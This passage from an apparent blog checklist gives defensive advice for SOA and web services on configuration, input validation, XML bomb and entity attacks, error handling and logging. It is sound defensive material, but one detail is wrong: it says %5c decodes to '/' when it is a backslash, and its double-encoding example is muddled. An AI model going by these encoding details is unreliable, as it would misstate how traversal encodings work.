• Turn off http trace feature (e.g. using Apache mod_rewrite), turn off debugging feature in production.
• Centralized security management (e.g. in case of Weblogic infrastructure: using OWSM with security policies) for  better manageability, reduce mistake.
• Use configuration change detection system (e.g.  monitor admin activities log files, Tripwire.)

Data

Minimum data presented to any business request
• Don't blindly trust input data (from clients GUI/cookies, database, web service request), so always validate and sanitize the input
• Validate/preprocessing (to prevent code/SQL/command injections, XSS, DoS) in sequence:
    o canonization: transform different representation (e.g. %5c is "/" which can be used for directory transversal attack)  to a canonical form.
    o sanitation: encode/escape unwanted characters (e.g. &lt for <).
    o data validation: validate based on white lists (e.g. XSD that defines data type/format/range).
• To prevent DoS, XML bomb: limit input size (e.g. web service request, file upload via GUI) using gateway/server configuration, XSD restriction length, limit nested element deep, don't use maxoccurs="unbounded" in XSD. While we can also limit the message using application-server setting or XSD validation in the proxy, it's better to reject the messages  as early as possible (e.g. in the gateway with XML firewall) before the message burden the load balances and application-servers.
• No security decision based on url params (which can be manipulated by clients).
• Validate & sanitize output (e.g. web, database) to prevent XSS, code injections.
• Use output encoding for special characters (to prevent XSS, code injections).
• Beware of double-encode attack (e.g. \  > %25 > %255c  ).
• Do not store sensitive data in cookies.
• How to validation data input (from user input, database, external system)? How to handle validation-error situation?
• Avoid sensitive data in de code/scripts, config files, log files. Restrict access to these files (least privelege principle).
• Encrypt sensitive data (e.g. employees' bank account published by LdapService).
• How do you prevent data fishing (e.g. limit output)?
• Use XML-firewall: faster (dedicated hardware), delegate the burden of SOA/OSB servers for validation.  Reject the messages earlier for better containment and preserving performance: threat should be addressed at the edge of the network instead of at the application layer.
• Reject SOAP message with <!ENTITY> tag (or whole DTD tag) or  use SOAP 1.2 to protect against entity attacks.
• Reject SOAP message with CDATA to avoid CDATA injection.
Attachment/files upload:
    o limit the size
    o the files must never be executed/evaluated
    o anti virus check

Error handling

• Prevent sensitive information (e.g. server fingerprinting for hackers) in the error messages. Generalized error message (to hide the implementation technology) instead of just passing the original error string from the framework (e.g. Java stacktrace).
• Don't put human information (e.g. developer's name) in the error message to avoid social engineering exploit.
• Test and understand the behavior of your system in case of failure / error.
• Catch all possible errors / failures  and handle gracefully to avoid DoS.
• Appropriate privilege level is restored in case of error / failure e.g. invalidate the session
Security mechanism is still working in case of error / exceptions / DoS attack
• Release resources (e.g. file, database pool) in case of error to prevent DoS.
• Centralized error handling.

Logging

• Log and monitor sensitive operations (e.g. create user, transfer money).
Protect log files / other files (e.g. history) which can be useful for forensic investigation using ACL, use signature if necessary.
No sensitive information (e.g. password) in the log, check the regulations (e.g. SOX in the US, WBP in the Netherlands).
• Information in log: userID, action/event, date/time (normalized to one time zone), IP address.
Throttling the log to prevent DoS or  evidence removal using log file rotation.
• Centralized logging and standardized the logging information.
• Audit logging regularly to detect malicious attempts using an automatic alert system. What information need to observe signs of malicious activities? e.g. number of connections per requester IP address.
• Validate and sanitize if you log the input (GUI form input, web service request,  or external database).
•  In case of attack what trail of forensic evidence is needed (e.g. IP address of the attack messages).
Know your baseline (typical log file growth in normal operation), plan log backup/removal and log rotation accordingly.


Please share your comment.

Source: Steve's blog http://soa-java.blogspot.com


References:


• Hacking Exposed Web Applications by Scambray et.al.


• How to break web software by Andrews & Whittaker

• OWASP Code Review Guide
• Improving Web Services Security (Microsoft patterns & practices) by Meier et.al
• XSD restrictions http://www.w3schools.com/schema/schema_facets.asp
• ISO 27001, ISO 27002